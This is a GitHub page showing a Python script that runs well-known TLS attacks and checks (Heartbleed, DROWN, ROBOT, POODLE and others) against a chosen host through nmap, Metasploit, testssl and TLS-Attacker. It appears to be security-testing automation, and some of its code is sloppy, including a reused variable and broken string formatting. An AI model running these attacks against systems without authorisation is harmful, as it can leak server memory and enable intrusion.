-
Notifications
You must be signed in to change notification settings - Fork 1
/
single_attack.py
194 lines (166 loc) · 9.02 KB
/
single_attack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
import subprocess
def single_attack(attack,host):
ip=host.split(':')[0]
port=host.split(':')[1]
path = "/home/kali/Desktop/TLS_Attack_Tools/TLS-Attacker/apps/Attacks.jar"
try:
if attack=='heartbleed':
#NMAP Heartbleed
heartbleed_script = "--script=ssl-heartbleed.nse"
show_all = "--script-args=vulns.showall"
command = f"nmap -A -p {port} --script=ssl-heartbleed.nse --script-args=vulns.showall {ip}"
print('Start Heartbleed Attack with Nmap..\n')
nmap = subprocess.Popen(['timeout', '120', 'nmap', '-A', '-p', port, heartbleed_script, show_all, ip],
stdout=subprocess.PIPE)
# nmap = subprocess.Popen([command], stdout=subprocess.PIPE)
stdout = nmap.communicate()[0].decode()
print(stdout)
#Metasploit
print('Start Heartbleed Attack with Metasploit..\n')
tls_version='1.0'
command = f"use auxiliary/scanner/ssl/openssl_heartbleed;set RHOST {ip};set RPORT {port};set TLS_VERSION {tls_version};check;exit"
metasploit = subprocess.Popen(['msfconsole', '-x', command], stdout=subprocess.PIPE)
stout = metasploit.communicate()[0].decode()
print(stout)
#TestSSL attack
print('Start Heartbleed Attack with testssl..\n')
attack = subprocess.Popen(
['testssl', '--heartbleed', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
#TLS Attacker
print('Start Heartbleed Attack with TLS Attacker..')
attack = subprocess.Popen(['timeout', '80', 'java', '-jar', path, 'heartbleed', '-connect', host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='crime':
print(f'Start test to verify if ${host} uses compression with testssl..')
attack = subprocess.Popen(
['testssl', '--crime', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='drown':
print('Start DROWN attack with TLS Attacker..')
attack = subprocess.Popen(['timeout', '80', 'java', '-jar', path, 'generalDrown', '-connect', host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
print('Start test for DROWN with testss..')
attack = subprocess.Popen(
['testssl', '--drown', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='bleichenbacher':
print('Start BLEICHENBACHER attack with TLS Attacker..')
attack = subprocess.Popen(['timeout', '80', 'java', '-jar', path, 'bleichenbacher', '-connect', host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='robot':
print('Test host for ROBOT attack with testssl..')
attack = subprocess.Popen(
['testssl', '--robot', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
print('Start ROBOT attack with Metasploit..')
command = f"use auxiliary/scanner/ssl/bleichenbacher_oracle;set RHOST {ip};set rport {port};exploit;exit"
metasploit = subprocess.Popen(['msfconsole', '-x', command], stdout=subprocess.PIPE)
stout = metasploit.communicate()[0].decode()
print(stout)
if attack=='padding_oracle_attack':
print('Start Padding Oracle Attack with TLS Attacker..')
attack = subprocess.Popen(['timeout', '80', 'java', '-jar', path, 'padding_oracle', '-connect', host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='sweet32':
print(f'Test host ${host} against Sweet32 attack with testssl..')
attack = subprocess.Popen(
['testssl', '--sweet32', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='logjam':
print(f'Test host ${host} against Logjam attack with testssl..')
attack = subprocess.Popen(
['testssl', '--logjam', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
print('Test host ${host} against Logjam attack with Nmap..')
logJam_script = "--script=ssl-dh-params.nse"
show_all = "--script-args=vulns.showall"
logjam = subprocess.Popen(['nmap', '-A', '-p', port, logJam_script, show_all, ip],
stdout=subprocess.PIPE)
stdout = logjam.communicate()[0].decode()
print(stdout)
if attack=='lucky13':
print(f'Test host ${host} against lucky13 with testssl..')
attack = subprocess.Popen(
['testssl', '--lucky13', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='poodle':
print(f'Test host ${host} against POODLE with Nmap..')
poodle_script = "--script=ssl-poodle"
show_all = "--script-args=vulns.showall"
poodle = subprocess.Popen(['nmap', '-A', '-p', port, poodle_script, show_all, ip],
stdout=subprocess.PIPE)
stdout = poodle.communicate()[0].decode()
print(stdout)
print(f'Test host ${host} against POODLE with testssl..')
attack = subprocess.Popen(
['testssl', '--poodle', '--color', '0', '--parallel', '--ssl-native', '--fast', '--warnings', 'off',
host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
print(f'Test host ${host} against POODLE with TLS Attacker..')
attack = subprocess.Popen(['timeout', '80', 'java', '-jar', path, 'poodle', '-connect', host],
stdout=subprocess.PIPE)
stdout = attack.communicate()[0].decode()
print(stdout)
if attack=='ticketbleed':
print(f'Test host ${host} against Ticketbleed with Nmap..')
ticketBleed_script = "--script=tls-ticketbleed"
show_all = "--script-args=vulns.showall"
poodle = subprocess.Popen(['nmap', '-A', '-p', port, ticketBleed_script, show_all, ip],
stdout=subprocess.PIPE)
stdout = poodle.communicate()[0].decode()
print(stdout)
if attack=='ccs_injection':
print(f'Test host ${host} against CCSInjection with Nmap..')
CCSInjection_script = "--script=ssl-ccs-injection"
show_all = "--script-args=vulns.showall"
poodle = subprocess.Popen(['nmap', '-A', '-p', port, CCSInjection_script, show_all, ip],
stdout=subprocess.PIPE)
stdout = poodle.communicate()[0].decode()
print(stdout)
print(f'Test host ${host} against CCSInjection with Metasploit..')
command = f"use auxiliary/scanner/ssl/openssl_ccs;set RHOST {ip};set RPORT {port};exploit;exit"
metasploit = subprocess.Popen(['msfconsole', '-x', command], stdout=subprocess.PIPE)
stout = metasploit.communicate()[0].decode()
print(stout)
if attack=='roca':
print(f'Test host ${host} against ROCA with Nmap..')
roca_script = "--script=rsa-vuln-roca"
show_all = "--script-args=vulns.showall"
poodle = subprocess.Popen(['nmap', '-A', '-p', port, roca_script, show_all, ip],
stdout=subprocess.PIPE)
stdout = poodle.communicate()[0].decode()
print(stdout)
except:
print('Attack does not work\n')